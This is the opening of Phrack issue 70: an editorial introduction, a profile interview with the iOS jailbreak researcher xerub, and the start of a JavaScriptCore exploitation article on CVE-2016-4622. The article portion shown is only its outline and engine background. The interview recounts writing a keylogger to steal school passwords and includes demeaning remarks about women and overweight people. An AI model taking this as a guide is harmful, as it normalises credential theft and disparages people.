============== Page 1/13 ============== ==Phrack Inc.== Volume 0x10, Issue 0x46, Phile #0x01 of 0x0f |=-----------------------------------------------------------------------=| |=-------------------------=[ Introduction ]=----------------------------=| |=-----------------------------------------------------------------------=| |=----------------------=[ Phrack Staff ]=-------------------------=| |=-----------------------=[ staff@phrack.org ]=--------------------------=| |=-----------------------------------------------------------------------=| |=-----------------------[ October 5, 2021 ]=-------------------------=| |=-----------------------------------------------------------------------=| --[ Introduction Phrack! We're back! It was only five years ago that issue 0x45 was released. It may sound bad, but it is also, indeed, quite bad. Issue 0x45 was released four years after issue 0x44. And we are now five years after that. Just trying to set the context here. The world is so different and so many things have happened in these five years that it makes no sense trying to make any point. Phrack has always been a reflection of the hacking community, and guess what, the community is moving away from itself. By this we don't mean that there are no talented hackers, because there most definitely are (just take a look at our authors). We also don't mean that there is no exquisite public hacking, because there is (again, our articles as proof). However, there is a clear move away from the collective hacking mindset that was most prevalent in the past. The word "scene" brings only smirks to people's faces. There are many reasons for this, and we are all to blame [1]. So where is the community right now, and, most importantly, where is it going? We are all ego-driven, more so nowadays we would argue, and this has definitely made collectives much harder to thrive. We expect direct payback from our hacking, in many forms, including reputation. While it was quite common to receive anonymous papers, in the past five years we got almost none. Where is the new Malloc Maleficarum? Quality isn't the question here, we have high quality hacking, we covered that. The question is about the community and how it has changed in the last 10-15 years. And about Phrack. Phrack started as a community zine of exchanging technical information and hacking techniques in a time that it was hard to find it. It later changed. It became a symbol of achievement, eliteness, and honor to be published in Phrack. A slight but significant change happened afterwards. Phrack gravitated (willingly or not is the subject of another discussion) towards an academic medium. Academia noticed the high quality of Phrack papers, started citing them, and basing their offensive and defensive work on them. Did that alienate the underground that Phrack represented for so many years? Yes, we think it did. But the underground also changed. Some of it became involved in malware, spyware, and also the "infosec" industry. And this mutated the underground. Of course we don't judge. Shouldn't Phrack be the reflection of the community, whatever the community is? Or should Phrack be a beacon of the old school underground? Well, it remains to be seen. Phrack will always be alive as long as the community is alive, reflecting it. If the hacking community becomes "infosec" in its majority, then probably so will Phrack. If the heart of the community is CTF, Phrack will reflect that. If the community focuses on malware, so will Phrack. Isn't that what Phrack has always done? It always was and always will be "by the community, for the community". If the community has decided that Phrack has a five year release cycle, then that's where we are. Unfortunately, this issue is again an issue of eulogies; we have lost hackers that have had an enormous impact on our community. Phrack would like to say goodbye to them. Their loss saddens us deeply, and makes our community poorer in talent, ethics, and intellect. We also mourn lost communities. Segfault.net has been our home/hosting in the past and is now gone. But we also have some good news! You might have come across Phrack merchandise [2], well, yes, we have resurrected it! The original 2003 art work has been found on a backup drive. All profits go to the Electronic Frontier Foundation. The EFF is a rare example of good and simple advise for the ordinary citizens. Plus a defender of our rights online and of the freedom of information. A beacon of light to say the least. The EFF used to run one of the three FTP servers to download Phrack as well. And let's not forget that the EFF paid for the attorney of Phrack's co-founder Knight Lightning in the 1990 court case and supported him all the way. They defended against the US Secret Service, a ruthless adversary with no respect for the freedom of information or the hacking scene in general. With EFF's help the case against Knight Lighting collapsed and the US Secret Service looked like a pissed on poodle. The merchandise has the Phrack Gnome on the front and the Hacker's Manifesto on the back. And ships worldwide. [1] http://www.phrack.org/issues/69/6.html [2] https://phrack.myspreadshop.co.uk/ $ cat p70/index.txt --[ Table of contents 0x01 Introduction ........................................ Phrack Staff 0x02 Phrack Prophile on xerub ............................ Phrack Staff 0x03 Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622 .................... saelo 0x04 Cyber Grand Shellphish .............................. Team Shellphish 0x05 VM escape - QEMU Case Study ......................... Mehdi Talbi & Paul Fariello 0x06 .NET Instrumentation via MSIL bytecode injection .... Antonio 's4tan' Parata 0x07 Twenty years of Escaping the Java Sandbox ........... Ieu Eauvidoum & disk noise 0x08 Viewer Discretion Advised: (De)coding an iOS Kernel Vulnerability ................................ Adam Donenfeld 0x09 Exploiting Logic Bugs in JavaScript JIT Engines ..... saelo 0x0a Hypervisor Necromancy; Reanimating Kernel Protectors .......................................... Aris Thallas 0x0b Tale of two hypervisor bugs - Escaping from FreeBSD bhyve ....................................... Reno Robert 0x0c The Bear in the Arena ............................... xerub 0x0d Exploiting a Format String Bug in Solaris CDE ....... Marco Ivaldi 0x0e Segfault.net eulogy ................................. skyper 0x0f YouTube Security Scene .............................. LiveOverflow --[ Greetz - dakami: pure passion for hacking, will be greatly missed - navs: our condolences for this brilliant hacker - accepted authors: thanks for your work, you keep Phrack alive - rejected authors: we hope our reviews helped you in some way - past Phrack Staff members: now we know ;) --[ Phrack policy phrack:~# head -77 /usr/include/std-disclaimer.h /* * All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue. * * * Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. * * * Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors. * These opinions do not necessarily represent those of the Phrack Staff. */ ----( Contact )---- < Editors : staff[at]phrack{dot}org > > Submissions : staff[at]phrack{dot}org < Submissions may be encrypted with the following PGP key: (Hint #1: Always use the PGP key from the latest issue) (Hint #2: ANTISPAM in the subject or face the mighty /dev/null demon) -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PHRACK 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 =vq07 -----END PGP PUBLIC KEY BLOCK----- |=[ EOF ]=---------------------------------------------------------------=| ============== Page 2/13 ============== ==Phrack Inc.== Volume 0x10, Issue 0x46, Phile #0x02 of 0x0f |=--------------------=[ PHRACK PROPHILE ON XERUB ]=--------------------=| |=----------------------------------------------------------------------=| |=------------------------=[ Phrack Staff ]=----------------------------=| |=---=[ Specs Handle: xerub AKA: concat(*given_name, surname) Handle origin: Completely made up. Any semblance with literary or real life is purely coincidental. The X is to be read like a Latin X, or even the the Greek letter X, if you prefer, but never like 'sh'. Also, Quake3's Xaero is my cousin. Age of your body: Old enough to remember the horrors of the Eastern Bloc. Also XOR AX, AX is faster than MOV AX, 0. Change my mind! Height & weight: 170+ & slender Produced in: Romania Urlz: https://github.com/xerub, https://twitter.com/xerub Computers: AMD K5, K6, Pentium Pro, Celeron, Core2 Duo, Core-iX Creator of: The concept of kppless jailbreaks [sic] Member of: XXX Admin of: XXX Projects: 0x41con Codez: img4lib, ROP compiler, many other incomplete tools used in jailbreaking Active since: Around the turn of the millennium Inactive since: 2020 |=---=[ Favs Actors: J.P. Belmondo, Gheorghe Dinica. Films: Brazil, Blade Runner, Fight Club. Authors: Raymond Chandler, Oscar Wilde, Aldous Huxley, George Orwell. Meetings: 0x41con, Warcon early editions. Sex: Promiscuous & dirty. Books: Dead classics, mostly. No technical book ever. Novel: The Picture of Dorian Gray. Meeting: Richard Feynman, +ORC Music: Deep Purple, Led Zeppelin, Queen before '92. Alcohol: Single malt scotch, straight. Red dry wine. Cars: BMW Women: Young, tall and slender with a sexy ass. Men: Nop. Food: Italian, SE Asian seafood. I like: Freedom, sunny weather, unhealthy habits, scantily-clad babes. I dislike: Hypocrisy, political correctness, authority, the philosophical Left. Zealots of any kind. Fat people occupying two seats in a bus. |=---=[ Life in 3 sentences After being raised in a rural area, I went to high school in a medium-sized city. High school changed my life, because it meant the opportunity to use a real computer. During university, a nasty car accident paused my studies, but around the same time I landed a couple of jobs, ultimately settling for a security company and staying with them ever since. |=---=[ Passions, what makes you tick Understanding the intricate details of a machinery. Any machinery, starting with mechanical ones down to the most complex Rube Goldberg-esque software exploits. But the true joy begins when I build such machineries myself. Even when not doing vulnerability research, I spent my hacking days close to the hardware, squeezing the last bit out of it; be it 3D graphics cards drivers or x86 protected mode system software. |=---=[ Memorable experiences Going backwards in time that would be: the two 0x41con meetings; greetz to all the people involved, here's to hoping for the next one. My first trip to East Asia; amazing history, amazing people, amazing food. My very first iOS vulnerability - a dyld codesign bypass; I was stupid enough to pass it down to someone who then used it without my permission. Taking apart my 1.1.2 OTB iPhone and performing a baseband hardware unlock by pulling the A17 trace high, following geohot blogposts. Understanding the genius behind ZMist. Trying, and failing to crack SoftIce; I guess I wanted to have my name on it but I had to settle with Marquis de Soiree instead. The first contact with a computer; it changed my life. |=---=[ Quotes "The smart way to keep people passive and obedient is to strictly limit the spectrum of acceptable opinion, but allow very lively debate within that spectrum" -N. Chomsky "The robber baron's cruelty may sometimes sleep, his cupidity may at some point be satiated; but those who torment us for our own good will torment us without end for they do so with the approval of their own conscience." -C.S. Lewis |=---=[ What's your opinion about Phrack? I am often asked by young people how and where to find materials related to hacking and my invariable response would be Phrack. They can find here pretty much everything, from the venerable stack overflows -- Aleph One's Smashing the Stack for Fun and Profit -- to the most complex hacking of relatively modern software. Phrack is THE place to learn about hacking. |=---=[ What you would like to see published in Phrack? I believe the most valuable articles are those describing techniques and not specific bugs. Two of these seminal papers were extremely important to me: nemo's Modern Objective-C Exploitation Techniques and saelo's Attacking JavaScript engines. These are only a couple of papers which allowed hackers to pull their magic for years to come. We definitely need more of these! |=---=[ Who or what inspired you to start hacking? Razor 1911. As a boy, I imagined I would like to crack games and play them for the rest of my life. |=---=[ We know that no one will ever admit he's part of the underground, but, when and how did you enter it? :> I did NOT enter the underground when I created my first keylogger, I think. I just found out about TSR (terminate and stay resident) feature of DOS and set out to steal some user passwords from the school lab. INT 09 ftw! |=---=[ What do you consider your most notable technical achievement? I guess the most anticipated response to this question would be: owning the bootchain. It's not, let me explain why: the bootchain is a mixed blessing. While it is regarded by many as a Holy Grail, it is truly a white elephant. First, it was never really needed for continuing research; second, speaking of such rare bugs is a one-way trip to killing them; and third, most of the time they end up used by entities I personally would not like to have them. My bootchain research started somewhere in 2015 and ended around 2017, and while it did produce a couple of bugs, I do not consider them to be notable technical achievements, because they pretty much lack complexity, with the exception of the most useless one: the HFS+ iBoot stack overflow. While this may sound bizarre, I do not rate my hacking on the value of the end goal itself, but on the complexity of the attack. Most of my exploits were, in turn, my most notable technical achievement up to that respective point. If I had to pick one, it was getting shell into a locked iPhone, about five years ago. And then again this year, with CVE-2021-30737. |=---=[ Related to the previous question: Can you give us some background information? How and why did you come up with this? Can you give us an anecdote story related to it? Back at the time it was considered an extremely hard job, except for owning the bootchain. It happened in the wake of the FBI vs Apple lawsuit over backdooring iOS. I set out to do it with the help of some friends, but we were using some freshly patched bugs. As a result, it didn't end up being very useful, but the full chain was probably one of the most complex I have ever written. Also, the experience I accrued during the process helped me greatly to repeat it five years later using an 0day with minimal effort. |=---=[ You have published a lot of work (code, keys, etc) on Apple-specific technology. What do you find attractive about Apple as a research target? All the cool kids were doing it. Besides, in the beginning, it was fun to break into an iPhone, if only to stick it to Apple who thought their OS was impregnable. But on the other hand, I truly liked their phones, both from a hardware and software standpoint. |=---=[ When have you started looking into Apple technology? I think it was in December 2007, when I got my first iPhone. My boss gave it to me at the company party as a reward for something I can't remember. There is a strong probability the whole deal involved bribes and women of dubious moral standards. |=---=[ What's your opinion about Apple's stance on software and hardware security? Apple has a lot of code to deal with. The sheer amount of their own code makes security bugs become almost a certainty, but they are alleviating this by compartmentalisation and other security mitigations, with varying degree of success. Their bug-fixing sucks, most of the time it is either an incomplete patch or downright a bad one. They also use a lot of third party code, but do not seem to do a good job of tracking security fixes in those libraries. This leads to some of the most embarrassing security problems. On the hardware front they are doing a pretty good job, however. Isolating the sensitive crypto material in the Secure Enclave outside the Application Processor is probably one of the best ideas they had so far. Unfortunately, they overlooked a couple of things in the early models (mainly 32bit SEP), allowing them to be hacked with relative ease. |=---=[ What's the future of Apple-related security research (not only jailbreaking, more generally speaking) in the light of ARMv8.3 features (PAC, etc) and Apple's hardware security measures according to your opinion? PAC is a good mitigation because it significantly raises the bar of gaining an initial foothold, at least in certain scenarios. However, when PAC first landed it was not as pervasive as it should have been, protecting only code pointers while leaving out crucial data pointers: CoreFoundation runtime, internal kernel structures, etc. Apple will also add MTE to their chips in the near future, which may raise the difficulty of future exploits even more. But then again, it all depends on how it will be implemented. Unfortunately, Apple-related security research boils down to either use a Security Research Device or use an exploit chain to break into the iPhone for further exploration. The former is a strong No for many people because of Apple's Terms and Conditions, while the latter implies an n-day or even a 0-day. In the near future we can still go that route, but as the current devices become obsolete and newer ones come packed with hw mitigations, it will become increasingly difficult. On the bright side, the Macs are slightly more open for the time being and fortunately for us, the same research often applies to their mobile devices because they share an enormous amount of code with the Macs. This somehow postpones the aforementioned problems for a while. Another solution would be to resort to iOS/device emulation, but that holds an uncertain future and is not available to the public at large. I have no experience whatsoever in this area. |=---=[ Is the Apple "underground" still as strong as it was, say, 5 years ago? Relating to the previous question, what do you thing about its future? It certainly is not. Many talented researchers have left, become inactive, got a job (at Apple or elsewhere) or entered the exploit market. |=---=[ What open problems and emerging technologies do you think are good research topics? Current and future. The best research topics are those areas that are not very well understood, especially in closed, proprietary systems: basebands, wifi firmwares, etc. |=---=[ Do you prefer offensive or defensive research? Which of the two do you think helps learning and understanding more? I certainly like both. Defensive is much, much harder though. My personal experience tells me it's easier to go the offensive route, and move to the other side once you have gained enough insight and experience. This allows you to have a clear image about a mitigation in your system: what are you supposed to defend, where is the security boundary, how is this mitigation helpful, etc. |=---=[ What's your take on the IT security industry vs. "the underground"? For a long time, the underground was the crucible from where the new talent emerged. In the past, it was the only place where one could find knowledge and acquire true skill. And the Dark Side is more appealing to youngsters, especially during their teen years. But as they grow older, they need to get real jobs and oftentimes they join the Industry. On top of that, things have changed, because nowadays one could learn about security in school, or from the myriad of published exploits. This means the Industry can bypass the underground, which is beginning to fade. |=---=[ Some claim that the hacking scene is growing old and that there are not enough talented young people interested in hacking to replace it. What are your thoughts on this? I believe there is enough talented young people interested. The "problem" is that they are snatched as young as possible by the Industry, lured by fat paychecks. As such, their voyage through the hacking scene is rather short, if at all. This may lead to a starvation of the scene, at least to some degree. |=---=[ What is your advice to the new hackers reading this? Start early, when you have enough energy, time and ideas. Do not dismiss old techniques and bugs, there is always something to be learned in those lessons. Most often than not, there is an overlooked bug next to the one that just got patched. Also, no amount of books, slides and papers can beat hands-on experience, ever. Roll up your sleeves and prepare to dive in. |=---=[ What was your most "enlightening" insight so far? Either technical or not (or both). Time is our most precious resource during our lifetime. It is probably the only thing one can never recoup or buy. Use it wisely and enjoy life. Hack away as long as hacking brings joy and satisfaction, and then move on. |=---=[ What is your stance on full-disclosure vs non-disclosure? Are there situations where both are needed, or is it one or the other? I am leaning towards full-disclosure. While there may be circumstances in which non-disclosure is preferable, I still think full-disclosure raises the awareness of certain bugs and forces both the software vendor and the customers to realize the gravity and patch as soon as possible. |=---=[ What is the future of hacking? The future of "the underground"? Very few hackers are left to hack for the sake of hacking. Most of them get early jobs in security, but oftentimes they end up doing boring stuff. On top of that, the bar for hacking the most interesting targets nowadays is much higher than, say ten or twenty years ago. My personal feeling is that hackers gonna hack, but the golden age is behind us now. |=---=[ What do you think is the role of Phrack in the current "scene" that is dominated by "cons"? Cons are a great way of meeting friends, new people in the field, have fun and generally speaking, do networking. However, a deck of slides will never be as detailed as a white-paper, or an elaborate article. And this is where Phrack shines. Another aspect is that Phrack goes back in history. There is plenty of material starting from the simplest to the more complex hacking techniques and it is the go-to place for a newbie. |=---=[ What do you think the biggest infosec challenges for the next 5 years are/will be? And what should be done about them? The harder problem in the short to medium future is to protect our privacy. On one hand, governments are pressuring for backdooring crypto and on the other hand, dubious entities are trying to break it. I have no idea how will this pan out, but I'm not very optimistic about it. Governments will eventually have their way, babbling something about the Greater Good or something along that vein. The other guys will have their way by trying to own the endpoints, but that is not likely to happen en masse. Speaking of the endpoint security, I believe the web browsers and their ever-increasing complexity will be the bane of our existence for years to come. The browsers wield way too much expressive power on the client-side which can be used to bypass all sorts of mitigations. Another issue that plagued us for the past several years, vaguely related to the above, is the multitude of breaches that happened left and right, exposing troves of user data from big corps' supposedly secure databases. The easiest way to prevent such disasters is to avoid storing said data, but I'm afraid that will never happen, because it conflicts with their mercantile interests. |=---=[ Open question. Anything more you would like to say to Phrack readers? I would like to thank the Phrack staff for this honour, I am both flattered and humbled for being prophiled. That said, I'm pretty sure there are at least several dozens of hackers who are ten times better than me, or have lived much more interesting lives. Kudos to all of you, you know who you are! |=[ EOF ]=---------------------------------------------------------------=| ============== Page 3/13 ============== ==Phrack Inc.== Volume 0x10, Issue 0x46, Phile #0x03 of 0x0f |=-----------------------------------------------------------------------=| |=---------------=[ The Art of Exploitation ]=---------------=| |=-----------------------------------------------------------------------=| |=------------------=[ Attacking JavaScript Engines ]=-------------------=| |=--------=[ A case study of JavaScriptCore and CVE-2016-4622 ]=---------=| |=-----------------------------------------------------------------------=| |=----------------------------=[ saelo ]=--------------------------------=| |=-----------------------=[ phrack@saelo.net ]=--------------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 0 - Introduction 1 - JavaScriptCore overview 1.1 - Values, the VM, and (NaN-)boxing 1.2 - Objects and arrays 1.3 - Functions 2 - The bug 2.1 - The vulnerable code 2.2 - About JavaScript type conversions 2.3 - Exploiting with valueOf 2.4 - Reflecting on the bug 3 - The JavaScriptCore heaps 3.1 - Garbage collector basics 3.2 - Marked space 3.3 - Copied space 4 - Constructing exploit primitives 4.1 - Prerequisites: Int64 4.2 - addrof and fakeobj 4.3 - Plan of exploitation 5 - Understanding the JSObject system 5.1 - Property storage 5.2 - JSObject internals 5.3 - About structures 6 - Exploitation 6.1 - Predicting structure IDs 6.2 - Putting things together: faking a Float64Array 6.3 - Executing shellcode 6.4 - Surviving garbage collection 6.5 - Summary 7 - Abusing the renderer process 7.1 - WebKit process and privilege model 7.2 - The same-origin policy 7.3 - Stealing emails 8 - References 9 - Source code --[ 0 - Introduction This article strives to give an introduction to the topic of JavaScript engine exploitation at the example of a specific vulnerability. The particular target will be JavaScriptCore, the engine inside WebKit. The vulnerability in question is CVE-2016-4622 and was discovered by yours truly in early 2016, then reported as ZDI-16-485 [1]. It allows an attacker to leak addresses as well as inject fake JavaScript objects into the engine. Combining these primitives will result in remote code execution inside the renderer process. The bug was fixed in 650552a. Code snippets in this article were taken from commit 320b1fc, which was the last vulnerable revision. The vulnerability was introduced approximately one year earlier with commit 2fa4973. All exploit code was tested on Safari 9.1.1. The exploitation of said vulnerability requires knowledge of various engine internals, which are, however, also quite interesting by themselves. As such various pieces that are part of a modern JavaScript engine will be discussed along the way. We will focus on the implementation of JavaScriptCore, but the concepts will generally be applicable to other engines as well. Prior knowledge of the JavaScript language will, for the most part, not be required. --[ 1 - JavaScript engine overview On a high level, a JavaScript engine contains * a compiler infrastructure, typically including at least one just-in-time (JIT) compiler * a virtual machine that operates on JavaScript values * a runtime that provides a set of builtin objects and functions We will not be concerned about the inner workings of the compiler infrastructure too much as they are mostly irrelevant to this specific bug. For our purposes it suffices to treat the compiler as a black box which emits bytecode (and potentially native code in the case of a JIT compiler) from the given source code. ----[ 1.1 - The VM, Values, and NaN-boxing The virtual machine (VM) typically contains an interpreter which can directly execute the emitted bytecode. The VM is often implemented as stack-based machines (in contrast to register-based machines) and thus operate around a stack of values. The implementation of a specific opcode handler might then look something like this: CASE(JSOP_ADD) { MutableHandleValue lval = REGS.stackHandleAt(-2); MutableHandleValue rval = REGS.stackHandleAt(-1); MutableHandleValue res = REGS.stackHandleAt(-2); if (!AddOperation(cx, lval, rval, res)) goto error; REGS.sp--; } END_CASE(JSOP_ADD) Note that this example is actually taken from Firefox' Spidermonkey engine as JavaScriptCore (from here on abbreviated as JSC) uses an interpreter that is written in a form of assembly language and thus not quite as straightforward as the above example. The interested reader can however find the implementation of JSC's low-level interpreter (llint) in LowLevelInterpreter64.asm. Often the first stage JIT compiler (sometimes called baseline JIT) takes care of removing some of the dispatching overhead of the interpreter while higher stage JIT compilers perform sophisticated optimizations, similar to the ahead-of-time compilers we are used to. 